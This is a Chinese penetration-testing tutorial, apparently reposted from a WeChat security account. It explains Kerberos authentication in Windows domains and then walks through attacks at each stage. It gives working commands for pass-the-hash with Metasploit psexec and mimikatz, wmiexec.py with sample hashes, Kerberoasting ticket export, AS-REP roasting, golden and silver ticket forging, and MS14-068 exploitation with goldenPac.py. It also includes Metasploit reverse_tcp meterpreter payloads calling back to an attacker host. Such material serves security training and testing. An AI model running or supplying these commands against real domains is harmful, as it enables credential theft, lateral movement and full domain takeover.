文章首發於公眾號《Z2O安全攻防》
直接公眾號文章複製過來的,排版可能有點亂, 可以去公眾號看。
https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmSyrAGIg
前言
Windows認證一般包括本地認證(NTLM HASH)和域認證(kerberos)。
認證的原理網上有很多文章。如果喜歡聽視訊課程的話,這裡推薦傾旋師傅的分享課
https://www.bilibili.com/video/BV1S4411e7hr?spm_id_from=333.788.b_636f6d6d656e74.8
本篇文章主要內容是Kerberos認證過程中產生的攻擊。
kerberos認證
概述
Kerberos是由麻省理工學院提出的一種網路身份驗證協議。它旨在通過使用金鑰加密技術為客戶端/伺服器應用程式提供強身份驗證。Kerberos協議有兩個基礎認證模組: AS_REQ &AS_REP和 TGS_REQ & TGS_REP,以及微軟擴充套件的兩個認證模組S4U和PAC。
kerberos是一種基於票據的認證方式。客戶端如果要訪問某個服務首先要獲得相應的票據——Service Ticket(ST服務票據)。但是想要獲取到服務票據ST,需要先獲得一張認購權證——Ticket Granting Tikect(TGT) 。TGT和ST均有KDC(Key Distribute Center)金鑰分發中心發售。從物理層面看,KDC由域控控制器擔任,其中包括AS(Authentication Service)認證服務和TGS(Ticket Granting Service)票據授予服務。可以參考下圖:
簡單來說,kerberos認證可以分為三大步:
第一步:Client與AS(Authentication Service認證服務)通訊,獲取TGT(Ticket Granting Ticket)認證權證
① AS-REQ
② AS-REP
第二步:Client拿著TGT,與TGS(Ticket Granting Service票據授予服務)通訊,獲取ST(Service Ticket服務票據)
③ TGS-REQ
④ TGS-REP
第三步:Client拿著ST,與Server通訊,訪問服務。
⑤ AP-REQ
⑥ AP-REP
當然有些情況下,中間還會經過一步PAC認證(Privilege Attribute Certificate特權屬性證照)。
流程
下面對認證流程進行詳細分析:
krbtgt使用者是在建立域時系統自動建立的一個賬號,其作用是金鑰發行中心KDC的服務賬號,其密碼是系統隨機生成的,無法正常登陸主機。
第一步:Client與AS(Authentication Service認證服務)通訊,獲取TGT(Ticket Granting Ticket)認證權證
① AS-REQ
當某個域內使用者試圖訪問域中的某個服務,於是輸入使用者名稱和密碼,本機的Kerberos服務會向KDC的AS認證服務傳送一個AS-REQ認證請求。該請求包中包含:請求的客戶端資訊(使用者名稱、主機名等)和預認證資料(使用者NTLM Hash加密的時間戳)以及一些其他資訊。如下圖,(Client Hash就是使用者的NTML Hash)
② AS-REP
當KDC接收到請求之後,通過AD活動目錄查詢得到該使用者的密碼Hash,用該密碼Hash對請求包的預認證資料進行解密,如果解密成功,則證明請求者提供的密碼正確,而且需要驗證時間戳等,如果通過則預認證成功。
AS(Authentication Service)成功認證對方的身份之後,傳送響應包給客戶端。響應包中主要包括: 使用者NTLM Hash加密的原始Login Session key(下圖中①部分,原始Login Session key是隨機生成的)和krbtgt使用者的NTLM Hash加密後的TGT認購權證(下圖中②部分)以及一些其他資訊。該Login Session Key的作用是用於確保客戶端和KDC下階段之間通訊安全。而TGT主要包含原始的Login Session Key、時間戳和PAC(下圖沒有畫出來)。PAC中包含使用者的SID,使用者所在的組等一些資訊。
第二步:Client拿著TGT,與TGS(Ticket Granting Service票據授予服務)通訊,獲取ST(Service Ticket服務票據)
經過上面的步驟,客戶端獲得了TGT認購權證和Login Session Key。然後用自己的密碼NTLM Hash解密Login Session Key得到原始的Logon Session Key。然後它會在本地快取此TGT認購權證和原始的Login Session Key。現在客戶端拿著獲取到的TGT認購權證向 TGS (Ticket Granting Service)去請求ST服務票據(ServiceTicket)
在這個階段,微軟引入了兩個擴充套件協議S4u2self 和S4u2Proxy(當委派的時候使用)
③ TGS-REQ
客戶端向KDC請求指定服務的ST服務票據,該請求主要包含如下的內容:客戶端資訊、Authenticator(原始的Login Session Key加密的時間戳)、TGT認購權證和訪問的服務資訊以及一些其他資訊。
④ TGS-REP
TGS接收到請求之後,首先會檢查自身是否存在客戶端所請求的服務。如果服務存在,則通過krbtgt使用者的NTLM Hash解密TGT並得到原始的Login Session Key,然後通過原始的Login Session Key解密Authenticator,如果解密成功,則驗證了對方的真實身份,同時還會驗證時間戳等一些資訊。
如果驗證通過,則TGS完成了對客戶端的認證,會生成一個用原始的Logon Session Key加密後的用於確保客戶端-伺服器之間通訊安全的Server Session Key會話祕鑰(上圖④)。並且會為該客戶端生成ST服務票據。ST服務票據主要包含兩方面的內容(如下圖):客戶端使用者資訊和原始Server Session Key。整個ST服務票據用該服務的NTLM Hash進行加密。最終Server Session Key和ST服務票據傳送給客戶端。
這一步不管使用者有沒有訪問服務的許可權,只要TGT正確,就都會返回ST服務票據,這也是
kerberoasting
能利用的原因,任何一個使用者,只要hash正確,就可以請求域內任何一個服務的ST票據
第三步:Client拿著ST,與Server通訊,訪問服務。
客戶端接收到TGS回覆後,通過快取的原始Logon Session Key解密得到原始Server Session Key,同時它也拿到了ST(Service Ticket)服務票據。該Server Session Key 和ST服務票據會被客戶端快取。
⑤ AP-REQ
客戶端訪問指定服務時,將 ST服務票據和Authenticator(Server Session Key加密的時間戳)傳送給服務端。
⑥ AP-REP
服務端收到客戶端發來的ST服務票據後,先通過該服務的NTLM Hash雜湊解密ST服務票據,並從中提取Server Session Key。然後通過提取出來的Server Session Key解密Authenticator,進而驗證了客戶端的真實身份。驗證了客戶端的身份後,服務端拿著PAC去詢問KDC該使用者是否有訪問許可權。域控拿到PAC後解密,然後KDC通過SID判斷使用者的使用者組資訊,使用者許可權等,然後將結果返回給服務端,服務端再將此資訊與使用者請求的服務資源的ACL進行對比,最後決定是否給使用者提供相關服務。
有些服務並沒有驗證PAC這一步,這也是白銀票據能成功的前提。因為如果驗證了PAC的話,就算攻擊者擁有使用者hash,可以製作ST票據,也不能製作PAC,所以也沒有訪問服務的許可權
kerberos認證各階段的攻擊手法
概述
AS-REQ:
在AS-REQ階段,存在使用者NTLM Hash加密的時間戳,所以也就造成了雜湊傳遞攻擊。
而當使用者不存在時,返回包會有所不同,我們可以基於此進行使用者名稱列舉,所以也就造成了域內使用者列舉攻擊(當我們不在域內,可以使用這個方法列舉域內使用者)。
密碼噴灑(Password Spraying)攻擊,它屬於自動化密碼猜測的一種,是用固定的密碼去跑使用者名稱。這種針對所有使用者的自動密碼猜測通常是為了避免帳戶被鎖定,因為針對同一個使用者的連續密碼猜測會導致帳戶被鎖定。所以只有對所有使用者同時執行特定的密碼登入嘗試,才能增加破解的概率,消除帳戶被鎖定的概率。
AS-REP:
在AS-REP階段,由於返回的TGT認購權證是由krbtgt使用者的密碼Hash加密的,因此如果我們擁有krbtgt的 hash 就可以自己製作一個TGT認購權證,這就造成了黃金票據攻擊
在AS-REP階段,Login Session key(最外層的enc-part)是用使用者密碼 Hash 加密的。對於域使用者,如果設定了選項” Do not require Kerberos preauthentication”,此時向域控制器的 88 埠傳送 AS_REQ 請求,對收到的AS_REP內容(資料包enc-part底下的cipher,因為這部分是使用使用者 hash 加密的 Login Session Key,我們通過進行離線爆破就可以獲得使用者hash)重新組合,能夠拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下來可以使用hashcat對其破解,最終獲得該使用者的明文口令,這就造成了 AS-REP Roasting攻擊。
TSG-REP:
在TGS-REP階段,由於內層enc-part是用服務賬號的NTLM Hash加密的,所以當我們得到了ST服務票據,可以通過爆破獲得該計算機服務賬號的密碼hash,這就是Kerberoast攻擊。
這個問題存在的另外一個因素是因為使用者向KDC發起TGS_REQ請求,不管使用者對服務有沒有訪問許可權,只要TGT正確,那麼肯定會返回TGS。
在TGS-REP階段,TGS_REP裡面的ticket的enc-part(內層enc-part)是使用服務賬號的ntlm hash進行加密的,如果我們擁有服務賬號的ntlm hash,就可以給我們自己簽發該服務的ST票據,這個票據也被稱為白銀票據。相較於黃金票據,白銀票據使用要訪問服務的hash,而不是krbtgt的hash,由於生成的是ST票據,不需要跟域控打交道,但是白銀票票據只能訪問特定服務。但是要注意的一點是,偽造的白銀票據沒有帶有有效KDC簽名的PAC。如果將目標主機配置為驗證KDC PAC簽名,則銀票將不起作用。
說白了,kerberoast攻擊就是 :有ST服務票據,去爆破服務賬號的NTLM Hash ;而白銀票據,就是有服務賬號的NTLM Hash,去簽發該服務的ST服務票據。
AS-REQ
雜湊傳遞攻擊(Pass The Hash)
詳細文章可以看《雜湊傳遞攻擊(Pass-the-Hash)》
0x00 PTH簡介
雜湊傳遞(pth)攻擊是指攻擊者可以通過捕獲密碼的hash值(對應著密碼的值),然後簡單地將其傳遞來進行身份驗證,以此來橫向訪問其他網路系統。攻擊者無須通過解密hash值來獲取明文密碼。攻擊者通常通過抓取系統的活動記憶體和其他技術來獲取雜湊。
0x01 PTH適用範圍
在工作組環境中:
-
Windows Vista 之前的機器,可以使用本地管理員組內使用者進行攻擊。
-
Windows Vista 之後的機器,只能是administrator使用者的雜湊值才能進行雜湊傳遞攻擊,其他使用者(包括管理員使用者但是非administrator)也不能使用雜湊傳遞攻擊,會提示拒絕訪問。
在域環境中:
-
只能是域管理員組內使用者(可以是域管理員組內非administrator使用者)的雜湊值才能進行雜湊傳遞攻擊,攻擊成功後,可以訪問域內任何一臺機器
0x02 PTH常用攻擊手法
(1)msf:
有些時候,當我們獲取到了某使用者的密碼雜湊值(條件滿足0x01 PTH適用範圍) ,並且該主機的445埠開啟著。我們則可以利用 exploit/windows/smb/psexec
模組用MSF進行遠端登入(雜湊傳遞攻擊)。這個是rhost可以是一個主機,也可以設定一個網段
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test #test使用者在域管理員組內,注意這裡不需要寫域字首
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit
(2) mimikatz
在域環境中,當我們獲得了 域管理員組內使用者 的NTLM雜湊值,我們可以使用域內的一臺主機用mimikatz對域內任何一臺機器(包括域控)進行雜湊傳遞攻擊。執行完命令後,會彈出CMD視窗,在彈出的CMD視窗我們可以訪問域內任何一臺機器。前提是我們必須擁有域內任意一臺主機的本地管理員許可權和域管理員的密碼NTLM雜湊值。
PS:工作組環境下,也需要本地管理員許可權,命令中將域名改為目標機器IP
privilege::debug #先提權
#使用域管理員yokan的NTLM雜湊值對域控進行雜湊傳遞攻擊,域使用者yokan在域管理員組中
sekurlsa::pth /user:yokan /domain:yokan.com /ntlm:xxxxxxxxxxxxxxxx
(3) wmiexec:
獲取的是對方hash的許可權
//python3 wmiexec.py -hashes LM Hash:NTLM Hash 域名/使用者名稱@目標IP #雜湊傳遞獲得shell
python3 wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 administrator@192.168.111.13
(4) KB2871997補丁
微軟在2014年5月釋出了KB2871997。該補丁禁止通過本地管理員許可權與遠端計算機進行連線,其後果就是:無法通過本地管理員對遠端計算機使用PsExec, WMI, smbexec, schtasks,也無法訪問遠端主機的檔案共享等。
即使目標主機更新了KB2871997的補丁,仍然可以使用SID=500的使用者進行雜湊傳遞攻擊,而 SID=500 的使用者預設為 aministrator,所以仍然可以使用administrator使用者進行雜湊傳遞攻擊。並且在打了KB2871997 補丁的機器上,通過將LocalAccountTokenFilterPolicy設定為1,也還是可以使用普通管理員賬號進行雜湊傳遞攻擊。
域使用者名稱列舉
0x01 原理分析
當我們不在域內時,可以進行列舉域內賬號。
在域外也能和域進行互動的原因,是利用了kerberos協議認證中的AS-REQ階段。只要我們能夠訪問域控88(kerberos服務)埠,就可以通過這種方式去列舉使用者名稱並且進行kerberos協議的暴力破解了!
0x02 攻擊優勢
相比於LDAP的暴力破解,這裡Kerbrute使用的是kerberos pre-auth協議,不會產生大量的日誌
0x03 攻擊方法
kerbrute_windows_amd64.exe
下載地址:
在這裡我們需要獲取dc的ip,域名。將想要爆破的使用者放入user.txt表中,這樣就可以獲取到了!
在我們獲取到使用者名稱後,可以將它用來爆破(密碼噴灑)!
密碼噴灑攻擊(Password Spraying)
0x01 前言
在實際滲透中,許多滲透測試人員和攻擊者通常都會使用一種被稱為 密碼噴灑(Password Spraying)的攻擊手段來進行攻擊。對密碼進行噴灑式的攻擊,這個叫法很形象,因為它屬於自動化密碼猜測的一種。這種針對所有使用者的自動密碼猜測通常是為了避免帳戶被鎖定,因為針對同一個使用者的連續密碼猜測會導致帳戶被鎖定。所以只有對所有使用者同時執行特定的密碼登入嘗試,才能增加破解的概率,消除帳戶被鎖定的概率。普通的爆破就是使用者名稱固定,爆破密碼,但是密碼噴灑,是用固定的密碼去跑使用者名稱。
0x02 攻擊方式
一般使用DomainPasswordSpray工具
工具介紹:
DomainPasswordSpray.ps1是用PowerShell編寫的工具,用於對域使用者執行密碼噴灑攻擊。預設情況下它將利用LDAP從域中匯出使用者列表,然後扣掉被鎖定的使用者,再用固定密碼進行密碼噴灑。
需要使用域許可權賬戶
下載連結:
在這裡作者進行了指令碼修改(下載儲存為DomainPasswordSpray.ps1)
使用說明:
從域中收集使用者列表
從域中收集使用者列表,包括任何未禁用且未接近鎖定狀態的賬戶。它會將結果寫入"userlist.txt"檔案中:
從域環境中獲取使用者名稱,然後使用密碼進行認證列舉:
從user.txt中提取使用者名稱,與passlist.txt中的密碼對照成一對口令,進行域認證列舉,登入成功後會輸出到sprayed-creds.txt
AS-REP
黃金票據
0x00 漏洞成因
當我們有了krbtgt hash之後,我們可以解密TGT,也可以加密TGT。
TGS獲取的Login Session key是通過解開TGT獲取的,因此當我們得到krbtgt hash之後,我們就可以偽造任一使用者了,這就造成了黃金票據攻擊
0x01 利用場景
1.拿到域內所有賬戶Hash,包括krbtgt賬戶,某些原因導致域控許可權掉了,域管改密碼了等
2.手上還有一臺機器,無所謂是否在域中
3.域管理員沒有更改域控krbtgt賬戶的密碼
4.通常當作後門使用
0x02 利用條件
需要獲取到以下資訊:
1、域名
2、域的SID
3、krbtgt 賬號的hash
4、偽造的使用者名稱
0x03 利用方式
ipconfig /all拿到域名
whoami/all
或者
wmic useraccountget name,sid
拿到SID
使用mimikatz軟體拿到krbtgt使用者的NTLM密碼雜湊
檢視域管理員賬號
刪除票證
將蒐集到的資訊替換到執行語句中使用mimikatz軟體偽造administrator使用者的票證然後退出
成功拿到域控
在成功之後就相當於IPC連線成功之後的攻擊方法了!
AS-REP Roasting攻擊
0x00 漏洞成因
AS-REP Roasting是一種對使用者賬號進行離線爆破的攻擊方式。但是該攻擊方式利用比較侷限,因為其需要使用者賬號設定 "Do not require Kerberos preauthentication(不需要kerberos預身份驗證) " 。而該屬性預設是沒有勾選上的。
預身份驗證是Kerberos身份驗證的第一步(AS_REQ & AS_REP),它的主要作用是防止密碼離線爆破。預設情況下,預身份驗證是預設開啟的,KDC會記錄密碼錯誤次數,防止線上爆破。
當關閉了預身份驗證後,攻擊者可以使用指定使用者去請求票據,此時域控不會作任何驗證就將 TGT票據 和 該使用者Hash加密的Session Key返回。因此,攻擊者就可以對獲取到的 使用者Hash加密的Session Key進行離線破解,如果破解成功,就能得到該指定使用者的密碼明文。
首先獲取"不要求Kerberos域身份認證"的使用者及其加密hash
普通域使用者下:
方法一:工具Rubeus
使用命令直接獲取域內所有開啟"不要求Kerberos域身份認證"的使用者,並且返回了他們的加密hash
方法二:Empire 中的Powerview.ps1
首先執行以下語句,得到"不要求Kerberos域身份認證"的使用者,輸出到txt中
獲取使用者名稱後,需要獲取他們的加密hash。
在這裡需要使用另外一個模組:ASREPRoast.ps1
https://github.com/gold1029/ASREPRoast
然後,在獲取到加密hash之後,使用hashcat進行密碼破解
將txt裡面的除Hash欄位其他的都刪除,複製到hashcat目錄下,並且修改為hashcat能識別的格式,即在$krb5asrep
後面新增$23
拼接。
然後使用以下命令爆破
TGS-REP
SPN 掃描
kerberoast攻擊的前置知識
0x00 SPN簡介
SPN全稱 Service Principal Names服務主體名稱,是伺服器上所執行服務的唯一標識,每個使用kerberos認證的服務都需要一個SPN。
Kerberos身份驗證用 SPN將服務例項與服務登入賬號關聯起來
SPN分為兩種,一種註冊在AD的機器賬戶(Computers)下,另一種註冊在域使用者賬戶(Users)下:當一個服務的許可權為Local System或Network Service,則SPN註冊在機器賬戶(Computers)下當一個服務的許可權為一個域使用者,則SPN註冊在域使用者賬戶(Users)下。
0x01 SPN掃描作用
SPN掃描能讓我們更快的發現在域內執行的服務,並且很難被發現。
在活動目錄中發現服務的最佳方法就是SPN掃描
0x02 SPN格式
serviceclass/host:port/servicename
#serviceclass和hostname是必選引數,port和servicename是可選引數
#例如:
exchangeMDB/EXCAS01.pentest.com //exchange服務
TERMSERV/EXCAS01.pentest.com //RDP服務
說明:
-
serviceclass可以理解為服務的名稱,常見的有www,ldap,SMTP,DNS,HOST等
-
host有兩種形式,FQDN(全限定域名,同時帶有計算機名和域名)和NetBIOS名,例如server01.test.com和server01
-
如果服務執行在預設埠上,則埠號(port)可以省略
-
servicename:一個字串,可以是服務的專有名稱(DN),objeectGuid,Internet主機名或全限定域名
0x03 查詢SPN
對域控制器發起LDAP查詢,這是正常kerberos票據行為的一部分,因此查詢SPN的操作很難被檢測
(1)使用SetSPN
win7和windows server2008 2012自帶的功能
檢視當前域內的所有SPN:
檢視具體域內的所有SPN:
(2) 使用Powershell-AD-Rccon
Powershell-AD-Rccon工具包提供了一系列服務與服務登入賬號和執行服務的主機之間的對應關係,這些服務包括但不限於MSSQL、 Exchange、RDP、WinRM。
-
利用SPN發現域中所有的MSSQL服務
因為SPN是通過LDAP協議向域控制器進行查詢的,所以,攻擊者只要獲得一個普通的域使用者許可權,就可以進行SPN掃描。
在域中的任意一臺機器上,以域使用者身份執行一個power shell程式,將指令碼匯入並執行,命令如下
Import-Module .\Discover-PSMsSQLServers.ps1
Discover-PSMSSQLServers
-
掃描域中所有的SPN資訊
在域中的任意一臺機器上,以域使用者的身份執行一個PowerShell程式,將指令碼匯入並執行,命令如下
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices
可以看到,域中有LDAP、exchange、RDP等多個SPN。因為每個重要的服務在域中都有對應的SPN,所以攻擊者不必使用複雜的埠掃描技術,只要利用SPN掃描技術就能找到大部分的應用伺服器。
Kerberoast攻擊
0x01 攻擊原理
1.kerberos認證過程
這種攻擊方法主要利用了TGS_REP階段使用服務賬號NTLM Hash加密的返回資料,通過碰撞加密資料破解使用者密碼。
2.Windows系統通過SPN查詢獲得服務和服務例項帳戶的對應關係
但是TGT階段一開始需要對方是否是否有這個服務,那這個服務怎麼發現呢?這時候可以使用SPN掃描,因為在域中如果服務使用的是kerberos認證。那麼就需要在對應域使用者下面註冊SPN,因此通過SPN掃描可以發現使用者對應的服務
3.域內的任何使用者都可以向域內的任何服務請求TGS
4.需要域使用者登入才能查詢,因為SPN查詢部分使用了LDAP協議
0x02 攻擊步驟
-
查詢SPN,找到有價值的SPN,需要滿足以下條件:
該SPN註冊在域使用者帳戶(Users)下;
域使用者賬戶的許可權很高;
-
請求TGS
-
匯出TGS
-
暴力破解
0x03 攻擊實現
1.檢測高許可權賬戶
工具只能檢測出SPN服務註冊時使用者的高低許可權,若後來許可權提高或者降低皆無法檢測到。
(1)使用powershell模組Active Direvtory
當伺服器上存在此模組時(域控一般安裝)
當伺服器上沒有AD模組時,載入dll檔案來執行。win8無法執行
DLL下載連結:
https://codeload.github.com/3gstudent/test/zip/master
https://github.com/samratashok/ADModule
(2)使用PowerView
下載連結
(3)使用kerberoast工具
powershell
下載連結:
2.請求高許可權賬戶的票據
方式有rubeus、powershell命令、mimikatz、GetUserSPNS.py等
(1)請求指定TGS在powershell中使用如下命令獲取票據
powershell.exe -exec bypass -Command "& {$SPNName = ''cifs/WIN7.yokan.com'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"
$SPNName = 'cifs/WIN7.yokan.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
(2)請求所有TGS
執行完(1)第一個後第二個才能執行需要powershell下執行
powershell.exe -exec bypass -Command "& {Add-Type -AssemblyName System.IdentityModel }"
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
檢視票據的命令:
klist
或
mimikatz.exe "kerberos::list"
3.匯出票據
(1)使用mimikatz.exe
kerberos::list /export
mimikatz.exe "kerberos::list /export" "exit"
(2)Empire下的Invoke-Kerberoast.ps1
匯出Hashcat格式的票據。且它會自動選擇所有的user Hash
powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-kerberoast -outputformat hashcat |fl > hash.txt}"
或者
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashca
4.離線破解服務票據
(1) kerberoast中的tgsrepcrack.py
(2) tgscrack
python2 extractServiceTicketParts.py xxx.kirbi > hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist password.txt
(3) hashcat
將匯出的hashcat格式的雜湊儲存為hash.txt檔案,放到hashcat的目錄下
白銀票據
0x01 利用條件
需要獲取到以下資訊:
1、域名
2、域的SID
3、目標伺服器FQDN
4、可利用的服務(這裡使用cifs)
5、服務賬號的NTLM Hash
6、需要偽造的使用者名稱
0x02 利用方法
ipconfig /all拿到域控ip
輸入ping -a 10.1.1.1獲取域限定全名dc.kacker.com
whoami /all拿到SID
匯出域控機的hash
將蒐集到的資訊替換到執行語句中使用mimikatz軟體偽造票證,訪問即可
S4U
委派攻擊
包括非約束性委派攻擊、約束委派攻擊、基於資源的約束委派攻擊,設計的內容比較多,後面將單獨用一篇文章介紹。
PAC
詳細看 https://www.anquanke.com/post/id/192810 (以下稱之為"引文")
上面講的kerberos流程看起來沒錯,卻忽略一個最重要的因素,那就是使用者有沒有許可權訪問該服務,在上面的流程裡面,只要使用者的hash正確,那麼就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以訪問服務,任何一個使用者都可以訪問任何服務。也就是說上面的流程解決了”Who am i?”的問題,並沒有解決 “What can I do?”的問題。
為了解決上面的這個問題,微軟引進了PAC,引進PAC之後的kerberos流程變成
-
使用者向KDC發起AS_REQ,請求憑據是使用者hash加密的時間戳,KDC使用使用者hash進行解密,如果結果正確返回用krbtgt hash加密的TGT票據,TGT裡面包含PAC,PAC包含使用者的sid,使用者所在的組。
2.使用者憑藉TGT票據向KDC發起針對特定服務的TGS_REQ請求,KDC使用krbtgt hash進行解密,如果結果正確,就返回用服務hash 加密的TGS票據(這一步不管使用者有沒有訪問服務的許可權,只要TGT正確,就返回TGS票據,這也是kerberoating能利用的原因,任何一個使用者,只要hash正確,可以請求域內任何一個服務的TGS票據
3.使用者拿著TGS票據去請求服務,服務使用自己的hash解密TGS票據。如果解密正確,就拿著PAC去KDC那邊詢問使用者有沒有訪問許可權,域控解密PAC。獲取使用者的sid,以及所在的組,再判斷使用者是否有訪問服務的許可權,有訪問許可權(有些服務並沒有驗證PAC這一步,這也是白銀票據能成功的前提,因為就算擁有使用者hash,可以製作TGS,也不能製作PAC,PAC當然也驗證不成功,但是有些服務不去驗證PAC,這是白銀票據成功的前提)就允許使用者訪問。
特別說明的是,PAC對於使用者和服務全程都是不可見的。只有KDC能製作和檢視PAC。
PAC具體的結構資訊可以看“引文”,這裡說一下其中兩部分:
0x00000001 登入資訊,是整個PAC最重要的部分,整個PAC就靠它來驗證使用者身份了 (可以聯想到,後面的漏洞就是偽造這一部分)
0x00000006 對應的是服務檢驗和,0x00000007 對應的是KDC校驗和。分別由server密碼和KDC密碼加密,是為了防止PAC內容被篡改。
存在簽名的原因有兩個。首先,存在帶有伺服器金鑰的簽名,以防止客戶端生成自己的PAC並將其作為加密授權資料傳送到KDC,以包含在票證中。其次,提供具有KDC金鑰的簽名,以防止不受信任的服務偽造帶有無效PAC的票證。
MS14-068
0x00 漏洞效果
補丁編號是KB3011780,域裡面最嚴重的漏洞之一
它能夠將任意使用者提升到域管許可權
0x01 漏洞成因
①:
該漏洞最本質的地方在於Microsoft Windows Kerberos KDC無法正確檢查Kerberos票證請求隨附的特權屬性證照(PAC)中的有效簽名,這裡面的簽名就是上面提到的服務檢驗和以及KDC校驗和。導致使用者可以自己構造一張PAC。簽名原本的設計是要用到HMAC系列的checksum演算法,也就是必須要有key的參與,我們沒有krbtgt的hash以及服務的hash,就沒有辦法生成有效的簽名,但是問題就出在,實現的時候允許所有的checksum演算法都可以,包括MD5。只要客戶端指定任意簽名演算法,KDC就會使用指定的演算法進行簽名驗證。那我們只需要把PAC 進行md5,就生成新的校驗和。這也就意味著我們可以隨意更改PAC的內容,完了之後再用md5 給他生成一個服務檢驗和以及KDC校驗和。
②:
該漏洞的利用依舊還有一個棘手的問題。前面我們說過。PAC是包含在TGT裡面的,而TGT是krbtgt的使用者hash加密的,也就意味著即使我們可以偽造PAC,那我們有什麼辦法講PAC放在票據裡面傳輸給KDC呢?
答案是PAC沒有放在TGT中也可以被解析:PAC沒有被放在TGT中,而是放在了TGS_REQ資料包的其他地方。但是KDC在實現上竟然允許這樣的構造,也就是說,KDC能夠正確解析出放在其他地方的PAC資訊!
0x02 漏洞利用條件
-
小於2012R2的域控 沒有打KB3011780,高版本預設整合
-
無論工作組、域,高低許可權都可以使用生成的票據進行攻擊
-
域賬戶使用時需要klist purge清除票據
0x03 漏洞利用過程
pykek
全稱是Python Kerberos Exploitation Kit
應該是ms14068漏洞利用,使用的最廣泛的一個,一般常用的ms14068.exe,就是由他打包而成的
ms14-068.py是PyKEK工具包中的MS14-068漏洞利用指令碼
-u <userName>@<domainName>:使用者名稱@域名。
-s <userSid>: 使用者SID。
-d <domainControlerAddr>:域控制器地址。
-p <clearPassword>: 明文密碼。
--rc4 <ntlmHash>:在沒有明文密碼的情況下,通過NTLM Hash登入
利用:
1、檢視域控制器的補丁安裝情況:
微軟針對MS14-068(CVE-2014-6324)漏洞提供的補丁為KB3011780。輸入命令wmic qfe get hotfixid
,未發現該補丁
2、檢視使用者的SID:
以使用者98612的身份登入,輸入命令“whoami /user",可以看到該使用者的SID
還有一個獲取使用者SID的方法。輸入命令"wmic useraccount get name,sid",獲取域內所有使用者的SID
3、生成高許可權票據
使用pykek生成高許可權票據的命令,格式如下
ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼
python ms14-068.py -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼
在pykek目錄中 輸入如下命令,在當前目錄下生成了一個名為TGT_98612@yokan.com.ccache
的票據檔案
4、清楚記憶體中的所有票據
5、將高許可權票據注入記憶體
將生成的票據檔案TGT_98612@yokan.com.ccache
放到域機器的mimikatz目錄下,使用mimikatz將票據注入記憶體
6、驗證許可權
使用dir命令,列出域控制器C盤的內容
在成功之後就相當於IPC連線成功之後的攻擊方法了,例如可以使用psexec 獲取一個shell,執行任意命令等等。
impacket工具包的goldenPac.py
這個工具是結合ms14-068加psexec
python goldenPac.py -dc-ip 192.168.107.146 -target-ip 192.168.107.146 test.com/user:password@dc.test.com
-dc-ip 是主域控的ip地址
-target-ip 也是主域控的ip地址
test.net 是域名
user是當前域使用者user
:冒號後面是當前域使用者的密碼
@ 後輸入主域計算機名 比如:dc.test.com
kekeo:
msf
ms14068kerberos_checksum模組
填寫以上資訊後,輸入exploit命令,會在/root/.msf4/loot目錄下生成檔案
接下來進行格式轉換。因為Metasploit不支援bin檔案的匯入,所以要先使用mimikatz對檔案進行格式轉換。在mimikatz中輸入如下命令,匯出kirbi格式的檔案
將匯出kirbi格式的檔案上傳到kali中
使域機器在msf上線:
輸入load kiwi命令 (kiwi模組是在mimikatz功能基礎上的擴充套件)然後輸入如下命令將票據匯入
接著輸入background命令,切換到meterpreter後臺,使用高許可權票據進行測試
background
use exploit/windows/local/current_user_psexec
set payload windows/x64/meterpreter/reverse_tcp
set TECHNIQUE PSH
set RHOSTS WIN-1D09BAA27UF.yokan.com
set lhost 192.168.111.238
set session 1
exploit
----------------------------------------END-----------------------------------